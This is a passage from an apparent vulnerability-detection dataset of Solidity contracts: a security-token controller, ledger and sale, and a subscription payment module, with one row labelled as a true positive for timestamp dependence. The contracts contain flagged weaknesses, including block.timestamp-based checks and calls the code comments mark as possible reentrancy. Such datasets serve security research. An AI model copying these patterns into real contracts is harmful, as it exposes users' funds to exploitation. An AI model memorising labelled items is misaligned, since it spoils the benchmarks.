setTransferAuthorized(address from, address to, uint expiry) public; function transfer(address _from, address _to, uint _value) public returns (bool success); function transferFrom(address _spender, address _from, address _to, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint); function approve(address _owner, address _spender, uint _value) public returns (bool success); function increaseApproval(address _owner, address _spender, uint _addedValue) public returns (bool success); function decreaseApproval(address _owner, address _spender, uint _subtractedValue) public returns (bool success); function burn(address _owner, uint _amount) public; function ledgerTransfer(address from, address to, uint val) public; function setLedger(address _ledger) public; function setSale(address _sale) public; function setToken(address _token) public; function setAffiliateList(address _affiliateList) public; } contract SecurityController is ISecurityController, Ownable { ISecurityLedger public ledger; ISecurityToken public token; ISecuritySale public sale; IInvestorList public investorList; ITransferAuthorizations public transferAuthorizations; IAffiliateList public affiliateList; uint public lockoutPeriod = 10 * 60 * 60; mapping(address => bool) public transferAuthPermission; constructor() public { } function setTransferAuthorized(address from, address to, uint expiry) public { require(transferAuthPermission[msg.sender]); require(from != 0); if(expiry > 0) { require(expiry > block.timestamp); require(expiry <= (block.timestamp + 30 days)); } transferAuthorizations.set(from, to, expiry); } function setLockoutPeriod(uint _lockoutPeriod) public onlyOwner { lockoutPeriod = _lockoutPeriod; } function setToken(address _token) public onlyOwner { token = ISecurityToken(_token); } function setLedger(address _ledger) public onlyOwner { ledger = ISecurityLedger(_ledger); } function setSale(address _sale) public onlyOwner { sale = ISecuritySale(_sale); } function setInvestorList(address _investorList) public onlyOwner { investorList = IInvestorList(_investorList); } function setTransferAuthorizations(address _transferAuthorizations) public onlyOwner { transferAuthorizations = ITransferAuthorizations(_transferAuthorizations); } function setAffiliateList(address _affiliateList) public onlyOwner { affiliateList = IAffiliateList(_affiliateList); } function setTransferAuthPermission(address agent, bool hasPermission) public onlyOwner { require(agent != address(0)); transferAuthPermission[agent] = hasPermission; } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } function totalSupply() public view returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) public view returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) public view returns (uint) { return ledger.allowance(_owner, _spender); } function isTransferAuthorized(address _from, address _to) public view returns (bool) { uint expiry = transferAuthorizations.get(_from, _to); uint globalExpiry = transferAuthorizations.get(_from, 0); if(globalExpiry > expiry) { expiry = globalExpiry; } return expiry > block.timestamp; } function checkTransfer(address _from, address _to, uint _value, uint lockoutTime) public returns (bool canTransfer, bool useLockoutTime, bool newTokensAreRestricted, bool preservePurchaseDate) { preservePurchaseDate = false; bool transferIsAuthorized = isTransferAuthorized(_from, _to); bool fromIsAffiliate = affiliateList.inListAsOf(_from, block.timestamp); bool toIsAffiliate = affiliateList.inListAsOf(_to, block.timestamp); if(transferIsAuthorized) { canTransfer = true; if(fromIsAffiliate || toIsAffiliate) { newTokensAreRestricted = true; } } else if(!fromIsAffiliate) { if(investorList.hasRole(_from, investorList.ROLE_REGS()) && investorList.hasRole(_to, investorList.ROLE_REGS())) { canTransfer = true; } else { if(ledger.transferDryRun(_from, _to, _value, lockoutTime) == _value) { canTransfer = true; useLockoutTime = true; } } } } function ledgerTransfer(address from, address to, uint val) public onlyLedger { token.controllerTransfer(from, to, val); } function transfer(address _from, address _to, uint _value) public onlyToken returns (bool success) { uint lockoutTime = block.timestamp - lockoutPeriod; bool canTransfer; bool useLockoutTime; bool newTokensAreRestricted; bool preservePurchaseDate; (canTransfer, useLockoutTime, newTokensAreRestricted, preservePurchaseDate) = checkTransfer(_from, _to, _value, lockoutTime); if(!canTransfer) { return false; } uint overrideLockoutTime = lockoutTime; if(!useLockoutTime) { overrideLockoutTime = 0; } return ledger.transfer(_from, _to, _value, overrideLockoutTime, newTokensAreRestricted, preservePurchaseDate); } function transferFrom(address _spender, address _from, address _to, uint _value) public onlyToken returns (bool success) { uint lockoutTime = block.timestamp - lockoutPeriod; bool canTransfer; bool useLockoutTime; bool newTokensAreRestricted; bool preservePurchaseDate; (canTransfer, useLockoutTime, newTokensAreRestricted, preservePurchaseDate) = checkTransfer(_from, _to, _value, lockoutTime); if(!canTransfer) { return false; } uint overrideLockoutTime = lockoutTime; if(!useLockoutTime) { overrideLockoutTime = 0; } return ledger.transferFrom(_spender, _from, _to, _value, overrideLockoutTime, newTokensAreRestricted, preservePurchaseDate); } function approve(address _owner, address _spender, uint _value) public onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) public onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) public onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } function burn(address _owner, uint _amount) public onlyToken { ledger.burn(_owner, _amount); } } interface ISecurityLedger { function balanceOf(address _a) external view returns (uint); function totalSupply() external view returns (uint); function transferDryRun(address _from, address _to, uint amount, uint lockoutTime) external returns (uint transferrableCount); function transfer(address _from, address _to, uint _value, uint lockoutTime, bool newTokensAreRestricted, bool preservePurchaseDate) external returns (bool success); function transferFrom(address _spender, address _from, address _to, uint _value, uint lockoutTime, bool newTokensAreRestricted, bool preservePurchaseDate) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint); function approve(address _owner, address _spender, uint _value) external returns (bool success); function increaseApproval(address _owner, address _spender, uint _addedValue) external returns (bool success); function decreaseApproval(address _owner, address _spender, uint _subtractedValue) external returns (bool success); function burn(address _owner, uint _amount) external; function setController(address _controller) external; } contract SecurityLedger is Ownable { using SafeMath for uint256; struct TokenLot { uint amount; uint purchaseDate; bool restricted; } mapping(address => TokenLot[]) public tokenLotsOf; SecurityController public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; constructor() public { } function setController(address _controller) public onlyOwner { controller = SecurityController(_controller); } function stopMinting() public onlyOwner { mintingStopped = true; } function mint(address addr, uint value, uint timestamp) public onlyOwner { require(!mintingStopped); uint time = timestamp; if(time == 0) { time = block.timestamp; } balanceOf[addr] = balanceOf[addr].add(value); tokenLotsOf[addr].push(TokenLot(value, time, true)); controller.ledgerTransfer(0, addr, value); totalSupply = totalSupply.add(value); } function multiMint(uint nonce, uint256[] bits, uint timestamp) external onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce = mintingNonce.add(1); uint256 lomask = (1 << 96) - 1; uint created = 0; uint time = timestamp; if(time == 0) { time = block.timestamp; } for (uint i = 0; i < bits.length; i++) { address addr = address(bits[i]>>96); uint value = bits[i] & lomask; balanceOf[addr] = balanceOf[addr].add(value); tokenLotsOf[addr].push(TokenLot(value, time, true)); controller.ledgerTransfer(0, addr, value); created = created.add(value); } totalSupply = totalSupply.add(created); } function sendReceivedTokens(address token, address sender, uint amount) public onlyOwner { ERC20Basic t = ERC20Basic(token); require(t.transfer(sender, amount)); } modifier onlyController() { require(msg.sender == address(controller)); _; } function walkTokenLots(address from, address to, uint amount, uint lockoutTime, bool removeTokens, bool newTokensAreRestricted, bool preservePurchaseDate) internal returns (uint numTransferrableTokens) { TokenLot[] storage fromTokenLots = tokenLotsOf[from]; for(uint i=0; i 0) { if(lot.restricted && lot.purchaseDate > lockoutTime) { continue; } } uint remaining = amount - numTransferrableTokens; if(lotAmount >= remaining) { numTransferrableTokens = numTransferrableTokens.add(remaining); if(removeTokens) { lot.amount = lotAmount.sub(remaining); if(to != address(0)) { if(preservePurchaseDate) { tokenLotsOf[to].push(TokenLot(remaining, lot.purchaseDate, newTokensAreRestricted)); } else { tokenLotsOf[to].push(TokenLot(remaining, block.timestamp, newTokensAreRestricted)); } } } break; } numTransferrableTokens = numTransferrableTokens.add(lotAmount); if(removeTokens) { lot.amount = 0; if(to != address(0)) { if(preservePurchaseDate) { tokenLotsOf[to].push(TokenLot(lotAmount, lot.purchaseDate, newTokensAreRestricted)); } else { tokenLotsOf[to].push(TokenLot(lotAmount, block.timestamp, newTokensAreRestricted)); } } } } } function transferDryRun(address from, address to, uint amount, uint lockoutTime) public onlyController returns (uint) { return walkTokenLots(from, to, amount, lockoutTime, false, false, false); } function transfer(address _from, address _to, uint _value, uint lockoutTime, bool newTokensAreRestricted, bool preservePurchaseDate) public onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; uint tokensTransferred = walkTokenLots(_from, _to, _value, lockoutTime, true, newTokensAreRestricted, preservePurchaseDate); require(tokensTransferred == _value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value, uint lockoutTime, bool newTokensAreRestricted, bool preservePurchaseDate) public onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; uint allowed = allowance[_from][_spender]; if (allowed < _value) return false; uint tokensTransferred = walkTokenLots(_from, _to, _value, lockoutTime, true, newTokensAreRestricted, preservePurchaseDate); require(tokensTransferred == _value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][_spender] = allowed.sub(_value); return true; } function approve(address _owner, address _spender, uint _value) public onlyController returns (bool success) { if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) public onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = oldValue.add(_addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) public onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = oldValue.sub(_subtractedValue); } return true; } function burn(address _owner, uint _amount) public onlyController { require(balanceOf[_owner] >= _amount); balanceOf[_owner] = balanceOf[_owner].sub(_amount); walkTokenLots(_owner, address(0), _amount, 0, true, false, false); totalSupply = totalSupply.sub(_amount); } } interface ISecuritySale { function setLive(bool newLiveness) external; function setInvestorList(address _investorList) external; } contract SecuritySale is Ownable { bool public live; IInvestorList public investorList; event SaleLive(bool liveness); event EtherIn(address from, uint amount); event StartSale(); event EndSale(); constructor() public { live = false; } function setInvestorList(address _investorList) public onlyOwner { investorList = IInvestorList(_investorList); } function () public payable { require(live); require(investorList.inList(msg.sender)); emit EtherIn(msg.sender, msg.value); } function setLive(bool newLiveness) public onlyOwner { if(live && !newLiveness) { live = false; emit EndSale(); } else if(!live && newLiveness) { live = true; emit StartSale(); } } function withdraw() public onlyOwner { msg.sender.transfer(address(this).balance); } function withdrawSome(uint value) public onlyOwner { require(value <= address(this).balance); msg.sender.transfer(value); } function withdrawTokens(address token) public onlyOwner { ERC20Basic t = ERC20Basic(token); require(t.transfer(msg.sender, t.balanceOf(this))); } function sendReceivedTokens(address token, address sender, uint amount) public onlyOwner { ERC20Basic t = ERC20Basic(token); require(t.transfer(sender, amount)); } } interface ISecurityToken { function balanceOf(address addr) external view returns(uint); function transfer(address to, uint amount) external returns(bool); function controllerTransfer(address _from, address _to, uint _value) external; } contract SecurityToken is Ownable{ using SafeMath for uint256; ISecurityController public controller; string public name; string public symbol; uint8 public decimals; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function setController(address _c) public onlyOwner { controller = ISecurityController(_c); } function sendReceivedTokens(address token, address sender, uint amount) public onlyOwner { ERC20Basic t = ERC20Basic(token); require(t.transfer(sender, amount)); } function balanceOf(address a) public view returns (uint) { return controller.balanceOf(a); } function totalSupply() public view returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) public view returns (uint) { return controller.allowance(_owner, _spender); } function burn(uint _amount) public { controller.burn(msg.sender, _amount); emit Transfer(msg.sender, 0x0, _amount); } modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords.mul(32).add(4)); _; } function isTransferAuthorized(address _from, address _to) public onlyPayloadSize(2) view returns (bool) { return controller.isTransferAuthorized(_from, _to); } function transfer(address _to, uint _value) public onlyPayloadSize(2) returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { emit Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3) returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { emit Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) onlyPayloadSize(2) public returns (bool success) { if (controller.approve(msg.sender, _spender, _value)) { emit Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) public onlyPayloadSize(2) returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); emit Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) public onlyPayloadSize(2) returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); emit Approval(msg.sender, _spender, newval); return true; } return false; } modifier onlyController() { assert(msg.sender == address(controller)); _; } function controllerTransfer(address _from, address _to, uint _value) public onlyController { emit Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) public onlyController { emit Approval(_owner, _spender, _value); } } interface ITransferAuthorizations { function setController(address _controller) external; function get(address from, address to) external view returns (uint); function set(address from, address to, uint expiry) external; } contract TransferAuthorizations is Ownable, ITransferAuthorizations { mapping(address => mapping(address => uint)) public authorizations; address public controller; event TransferAuthorizationSet(address from, address to, uint expiry); function setController(address _controller) public onlyOwner { controller = _controller; } modifier onlyController() { assert(msg.sender == controller); _; } function set(address from, address to, uint expiry) public onlyController { require(from != 0); authorizations[from][to] = expiry; emit TransferAuthorizationSet(from, to, expiry); } function get(address from, address to) public view returns (uint) { return authorizations[from][to]; } }",./Dataset/timestamp dependency (TP)/,6,6 38685.sol,"pragma solidity ^0.4.11; contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } ///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call. /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } //Decision made. // 1 - Provider is solely responsible to consider failed sub charge as an error and stop the service, // therefore there is no separate error state or counter for that in this Token Contract. // // 2 - A call originated from the user (isContract(msg.sender)==false) should throw an exception on error, // but it should return ""false"" on error if called from other contract (isContract(msg.sender)==true). // Reason: thrown exception are easier to see in wallets, returned boolean values are easier to evaluate in the code of the calling contract. // // 3 - Service providers are responsible for firing events in case of offer changes; // it is theirs decision to inform DApps about offer changes or not. // //ToDo: // 8 - validate linking modules and deployment process: attachToken(address token) public ///@dev an base class to implement by Service Provider contract to be notified about subscription changes (in-Tx notification). /// Additionally it contains standard events to be fired by service provider on offer changes. /// see alse EVM events logged by subscription module. // contract ServiceProvider { ///@dev get human readable descriptor (or url) for this Service provider // function info() constant public returns(string); ///@dev called to post-approve/reject incoming single payment. ///@return `false` causes an exception and reverts the payment. // function onPayment(address _from, uint _value, bytes _paymentData) public returns (bool); ///@dev called to post-approve/reject subscription charge. ///@return `false` causes an exception and reverts the operation. // function onSubExecuted(uint subId) public returns (bool); ///@dev called to post-approve/reject a creation of the subscription. ///@return `false` causes an exception and reverts the operation. // function onSubNew(uint newSubId, uint offerId) public returns (bool); ///@dev called to notify service provider about subscription cancellation. /// Provider is not able to prevent the cancellation. ///@return <> // function onSubCanceled(uint subId, address caller) public returns (bool); ///@dev called to notify service provider about subscription got hold/unhold. ///@return `false` causes an exception and reverts the operation. // function onSubUnHold(uint subId, address caller, bool isOnHold) public returns (bool); ///@dev following events should be used by ServiceProvider contract to notify DApps about offer changes. /// SubscriptionModule do not this notification and expects it from Service Provider if desired. /// ///@dev to be fired by ServiceProvider on new Offer created in a platform. event OfferCreated(uint offerId, bytes descriptor, address provider); ///@dev to be fired by ServiceProvider on Offer updated. event OfferUpdated(uint offerId, bytes descriptor, uint oldExecCounter, address provider); ///@dev to be fired by ServiceProvider on Offer canceled. event OfferCanceled(uint offerId, bytes descriptor, address provider); ///@dev to be fired by ServiceProvider on Offer hold/unhold status changed. event OfferUnHold(uint offerId, bytes descriptor, bool isOnHoldNow, address provider); } //ServiceProvider ///@notice XRateProvider is an external service providing an exchange rate from external currency to SAN token. /// it used for subscriptions priced in other currency than SAN (even calculated and paid formally in SAN). /// if non-default XRateProvider is set for some subscription, then the amount in SAN for every periodic payment /// will be recalculated using provided exchange rate. /// /// Please note, that the exchange rate fraction is (uint32,uint32) number. It should be enough to express /// any real exchange rate volatility. Nevertheless you are advised to avoid too big numbers in the fraction. /// Possiibly you could implement the ratio of multiple token per SAN in order to keep the average ratio around 1:1. /// /// The default XRateProvider (with id==0) defines exchange rate 1:1 and represents exchange rate of SAN token to itself. /// this provider is set by defalult and thus the subscription becomes nominated in SAN. // contract XRateProvider { //@dev returns current exchange rate (in form of a simple fraction) from other currency to SAN (f.e. ETH:SAN). //@dev fraction numbers are restricted to uint16 to prevent overflow in calculations; function getRate() public returns (uint32 /*nominator*/, uint32 /*denominator*/); //@dev provides a code for another currency, f.e. ""ETH"" or ""USD"" function getCode() public returns (string); } //@dev data structure for SubscriptionModule contract SubscriptionBase { enum SubState {NOT_EXIST, BEFORE_START, PAID, CHARGEABLE, ON_HOLD, CANCELED, EXPIRED, FINALIZED} enum OfferState {NOT_EXIST, BEFORE_START, ACTIVE, SOLD_OUT, ON_HOLD, EXPIRED} string[] internal SUB_STATES = [""NOT_EXIST"", ""BEFORE_START"", ""PAID"", ""CHARGEABLE"", ""ON_HOLD"", ""CANCELED"", ""EXPIRED"", ""FINALIZED"" ]; string[] internal OFFER_STATES = [""NOT_EXIST"", ""BEFORE_START"", ""ACTIVE"", ""SOLD_OUT"", ""ON_HOLD"", ""EXPIRED""]; //@dev subscription and subscription offer use the same structure. Offer is technically a template for subscription. struct Subscription { address transferFrom; // customer (unset in subscription offer) address transferTo; // service provider uint pricePerHour; // price in SAN per hour (possibly recalculated using exchange rate) uint32 initialXrate_n; // nominator uint32 initialXrate_d; // denominator uint16 xrateProviderId; // id of a registered exchange rate provider uint paidUntil; // subscription is paid until time uint chargePeriod; // subscription can't be charged more often than this period uint depositAmount; // upfront deposit on creating subscription (possibly recalculated using exchange rate) uint startOn; // for offer: can't be accepted before ; for subscription: can't be charged before uint expireOn; // for offer: can't be accepted after ; for subscription: can't be charged after uint execCounter; // for offer: max num of subscriptions available ; for subscription: num of charges made. bytes descriptor; // subscription payload (subject): evaluated by service provider. uint onHoldSince; // subscription: on-hold since time or 0 if not onHold. offer: unused: //ToDo: to be implemented } struct Deposit { uint value; // value on deposit address owner; // usually a customer bytes descriptor; // service related descriptor to be evaluated by service provider } event NewSubscription(address customer, address service, uint offerId, uint subId); event NewDeposit(uint depositId, uint value, address sender); event NewXRateProvider(address addr, uint16 xRateProviderId, address sender); event DepositReturned(uint depositId, address returnedTo); event SubscriptionDepositReturned(uint subId, uint amount, address returnedTo, address sender); event OfferOnHold(uint offerId, bool onHold, address sender); event OfferCanceled(uint offerId, address sender); event SubOnHold(uint offerId, bool onHold, address sender); event SubCanceled(uint subId, address sender); } ///@dev an Interface for SubscriptionModule. /// extracted here for better overview. /// see detailed documentation in implementation module. contract SubscriptionModule is SubscriptionBase, Base { ///@dev ***** module configuration ***** function attachToken(address token) public; ///@dev ***** single payment handling ***** function paymentTo(uint _value, bytes _paymentData, ServiceProvider _to) public reentrant returns (bool success); function paymentFrom(uint _value, bytes _paymentData, address _from, ServiceProvider _to) public reentrant returns (bool success); ///@dev ***** subscription handling ***** ///@dev some functions are marked as reentrant, even theirs implementation is marked with noReentrancy(LOCK). /// This is intentionally because these noReentrancy(LOCK) restrictions can be lifted in the future. // Functions would become reentrant. function createSubscription(uint _offerId, uint _expireOn, uint _startOn) public reentrant returns (uint newSubId); function cancelSubscription(uint subId) reentrant public; function cancelSubscription(uint subId, uint gasReserve) reentrant public; function holdSubscription(uint subId) public reentrant returns (bool success); function unholdSubscription(uint subId) public reentrant returns (bool success); function executeSubscription(uint subId) public reentrant returns (bool success); function postponeDueDate(uint subId, uint newDueDate) public returns (bool success); function returnSubscriptionDesposit(uint subId) public; function claimSubscriptionDeposit(uint subId) public; function state(uint subId) public constant returns(string state); function stateCode(uint subId) public constant returns(uint stateCode); ///@dev ***** subscription offer handling ***** function createSubscriptionOffer(uint _price, uint16 _xrateProviderId, uint _chargePeriod, uint _expireOn, uint _offerLimit, uint _depositValue, uint _startOn, bytes _descriptor) public reentrant returns (uint subId); function updateSubscriptionOffer(uint offerId, uint _offerLimit) public; function holdSubscriptionOffer(uint offerId) public returns (bool success); function unholdSubscriptionOffer(uint offerId) public returns (bool success); function cancelSubscriptionOffer(uint offerId) public returns (bool); ///@dev ***** simple deposit handling ***** function createDeposit(uint _value, bytes _descriptor) public returns (uint subId); function claimDeposit(uint depositId) public; ///@dev ***** ExchangeRate provider ***** function registerXRateProvider(XRateProvider addr) public returns (uint16 xrateProviderId); ///@dev ***** Service provider (payment receiver) ***** function enableServiceProvider(ServiceProvider addr, bytes moreInfo) public; function disableServiceProvider(ServiceProvider addr, bytes moreInfo) public; ///@dev ***** convenience subscription getter ***** function subscriptionDetails(uint subId) public constant returns( address transferFrom, address transferTo, uint pricePerHour, uint32 initialXrate_n, //nominator uint32 initialXrate_d, //denominator uint16 xrateProviderId, uint chargePeriod, uint startOn, bytes descriptor ); function subscriptionStatus(uint subId) public constant returns( uint depositAmount, uint expireOn, uint execCounter, uint paidUntil, uint onHoldSince ); enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} event Payment(address _from, address _to, uint _value, uint _fee, address sender, PaymentStatus status, uint subId); event ServiceProviderEnabled(address addr, bytes moreInfo); event ServiceProviderDisabled(address addr, bytes moreInfo); } //SubscriptionModule contract ERC20ModuleSupport { function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public returns(bool success); function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public returns (bool success); function _mintFromDeposit(address owner, uint amount) public; function _burnForDeposit(address owner, uint amount) public returns(bool success); } //@dev implementation contract SubscriptionModuleImpl is SubscriptionModule, Owned { string public constant VERSION = ""0.1.0""; // ************************************************* // * contract states * // ************************************************* ///@dev list of all registered service provider contracts implemented as a map for better lookup. mapping (address=>bool) public providerRegistry; ///@dev all subscriptions and offers (incl. FINALIZED). mapping (uint => Subscription) public subscriptions; ///@dev all active simple deposits gived by depositId. mapping (uint => Deposit) public deposits; ///@dev addresses of registered exchange rate providers. XRateProvider[] public xrateProviders; ///@dev ongoing counter for subscription ids starting from 1. /// Current value represents an id of last created subscription. uint public subscriptionCounter = 0; ///@dev ongoing counter for simple deposit ids starting from 1. /// Current value represents an id of last created deposit. uint public depositCounter = 0; ///@dev Token contract with ERC20ModuleSupport addon. /// Subscription Module operates on its balances via ERC20ModuleSupport interface as trusted module. ERC20ModuleSupport public san; // ************************************************* // * reject all ether sent to this contract * // ************************************************* function () { throw; } // ************************************************* // * setup and configuration * // ************************************************* ///@dev constructor function SubscriptionModuleImpl() { owner = msg.sender; xrateProviders.push(XRateProvider(this)); //this is a default SAN:SAN (1:1) provider with default id == 0 } ///@dev attach SAN token to work with; can be done only once. function attachToken(address token) public { assert(address(san) == 0); //only in new deployed state san = ERC20ModuleSupport(token); } ///@dev register a new service provider to the platform. function enableServiceProvider(ServiceProvider addr, bytes moreInfo) public only(owner) { providerRegistry[addr] = true; ServiceProviderEnabled(addr, moreInfo); } ///@dev de-register the service provider with given `addr`. function disableServiceProvider(ServiceProvider addr, bytes moreInfo) public only(owner) { delete providerRegistry[addr]; ServiceProviderDisabled(addr, moreInfo); } ///@dev register new exchange rate provider. /// XRateProvider can't be de-registered, because they could be still in use by some subscription. function registerXRateProvider(XRateProvider addr) public only(owner) returns (uint16 xrateProviderId) { xrateProviderId = uint16(xrateProviders.length); xrateProviders.push(addr); NewXRateProvider(addr, xrateProviderId, msg.sender); } ///@dev xrateProviders length accessor. function getXRateProviderLength() public constant returns (uint) { return xrateProviders.length; } // ************************************************* // * single payment methods * // ************************************************* ///@notice makes single payment to service provider. ///@param _value - amount of SAN token to sent ///@param _paymentData - 'payment purpose' code usually issued by service provider to customer before payment. ///@param _to - service provider contract ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function paymentTo(uint _value, bytes _paymentData, ServiceProvider _to) public reentrant returns (bool success) { if (san._fulfillPayment(msg.sender, _to, _value, 0, msg.sender)) { // a ServiceProvider (a ServiceProvider) has here an opportunity verify and reject the payment assert (ServiceProvider(_to).onPayment(msg.sender, _value, _paymentData)); // <=== possible reentrancy return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice makes single preapproved payment to service provider. An amount must be already preapproved by payment sender to recepient. ///@param _value - amount of SAN token to sent ///@param _paymentData - 'payment purpose' code usually issued by service provider to customer before payment. ///@param _from - sender of the payment (other than msg.sender) ///@param _to - service provider contract ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function paymentFrom(uint _value, bytes _paymentData, address _from, ServiceProvider _to) public reentrant returns (bool success) { if (san._fulfillPreapprovedPayment(_from, _to, _value, msg.sender)) { // a ServiceProvider (a ServiceProvider) has here an opportunity verify and reject the payment assert (ServiceProvider(_to).onPayment(_from, _value, _paymentData)); // <=== possible reentrancy return true; } if (isContract(msg.sender)) { return false; } else { throw; } } // ************************************************* // * subscription handling * // ************************************************* ///@dev convenience getter for some subscription fields function subscriptionDetails(uint subId) public constant returns ( address transferFrom, address transferTo, uint pricePerHour, uint32 initialXrate_n, //nominator uint32 initialXrate_d, //denominator uint16 xrateProviderId, uint chargePeriod, uint startOn, bytes descriptor ) { Subscription sub = subscriptions[subId]; return (sub.transferFrom, sub.transferTo, sub.pricePerHour, sub.initialXrate_n, sub.initialXrate_d, sub.xrateProviderId, sub.chargePeriod, sub.startOn, sub.descriptor); } ///@dev convenience getter for some subscription fields /// a caller must know, that the subscription with given id exists, because all these fields can be 0 even the subscription with given id exists. function subscriptionStatus(uint subId) public constant returns( uint depositAmount, uint expireOn, uint execCounter, uint paidUntil, uint onHoldSince ) { Subscription sub = subscriptions[subId]; return (sub.depositAmount, sub.expireOn, sub.execCounter, sub.paidUntil, sub.onHoldSince); } ///@notice execute periodic subscription payment. /// Any of customer, service provider and platform owner can execute this function. /// This ensures, that the subscription charge doesn't become delayed. /// At least the platform owner has an incentive to get fee and thus can trigger the function. /// An execution fails if subscription is not in status `CHARGEABLE`. ///@param subId - subscription to be charged. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function executeSubscription(uint subId) public noReentrancy(L00) returns (bool) { Subscription storage sub = subscriptions[subId]; assert (msg.sender == sub.transferFrom || msg.sender == sub.transferTo || msg.sender == owner); if (_subscriptionState(sub)==SubState.CHARGEABLE) { var _from = sub.transferFrom; var _to = sub.transferTo; var _value = _amountToCharge(sub); if (san._fulfillPayment(_from, _to, _value, subId, msg.sender)) { sub.paidUntil = max(sub.paidUntil, sub.startOn) + sub.chargePeriod; ++sub.execCounter; // a ServiceProvider (a ServiceProvider) has here an opportunity to verify and reject the payment assert (ServiceProvider(_to).onSubExecuted(subId)); return true; } } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice move `paidUntil` forward to given `newDueDate`. It waives payments for given 